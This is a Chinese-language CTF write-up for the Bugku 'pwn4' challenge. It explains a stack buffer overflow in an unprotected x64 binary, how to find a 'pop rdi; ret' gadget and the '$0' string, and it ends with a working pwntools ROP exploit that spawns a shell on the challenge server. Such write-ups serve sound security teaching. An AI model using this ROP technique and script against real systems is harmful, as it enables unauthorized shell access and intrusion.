Bugku pwn4

132 阅读1分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

准备:

可以看到程序没有开任何的保护

运行测试了一下,有一个输入数据的点

IDA

定位到主函数,很明显这里的 s 可以作为溢出的点

浏览了一下找到了system函数,kaix…

找找rop点,查看一下字符串

刚开始也很懵逼,找了一下/bin/bash 没找到,去看了wp,原来这里的0也是可以利用的,system(/bin/bash)system(0也是可以利用的,system('/bin/bash')和system('0')的效果是一样的。

这样我们就可以借用'$0'来溢出拿到shell

OK现在我们有了栈溢出点,有了system函数,有了字符串“$0”,可以尝试开shell了。首先我们要解决传参数的问题。和x86不同,在x64下通常参数从左到右依次放在rdi, rsi, rdx, rcx, r8, r9,多出来的参数才会入栈(根据调用约定的方式可能有不同,通常是这样),因此,我们就需要一个给RDI赋值的办法。由于我们可以控制栈,根据ROP的思想,我们需要找到的就是pop rdi; ret,前半段用于赋值rdi,后半段用于跳到其他代码片段。

这里我们通过ROPgadget --binary 指定二进制文件,使用grep在输出的所有gadgets中寻找需要的片段,再通过指定字符串--string来找到'$0'的地址

找到了pop rdi; ret 的地址,我们到IDA里面去看一下

发现没有我们找到的4007d3

这里我们选中4007d2 按快捷键D转换成数据,4007d3就出来了

然后选中4007d3 按快捷键C 转换成代码,这里我们的pop rdi就出来了

我们可以看出来pop rdi实际上是pop r15的“一部分”。这也再次验证了汇编指令不过是一串可被解析为合法opcode的数据的别名。只要对应的数据所在内存可执行,能被转成合法的opcode,跳转过去都是不会有问题的。

继续,言归正传

ok到这里所有的问题都解决了 可以构建ROP链了

#!/bugku/pwn/pwn4/exp.py
#coding:utf-8
#beglage

from pwn import *

io = remote("114.116.54.89",10004)
call_system_ads = 0x40075A # call _system
binsh = 0x60111f # '$0'
pop_rdi = 0x4007d3 # pop rdi; ret

payload = ""
payload += "a" * 0x10 + "a" * 0x08
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(call_system_ads)

io.sendline(payload)
io.interactive()

参考博文:www.cnblogs.com/ichunqiu/p/…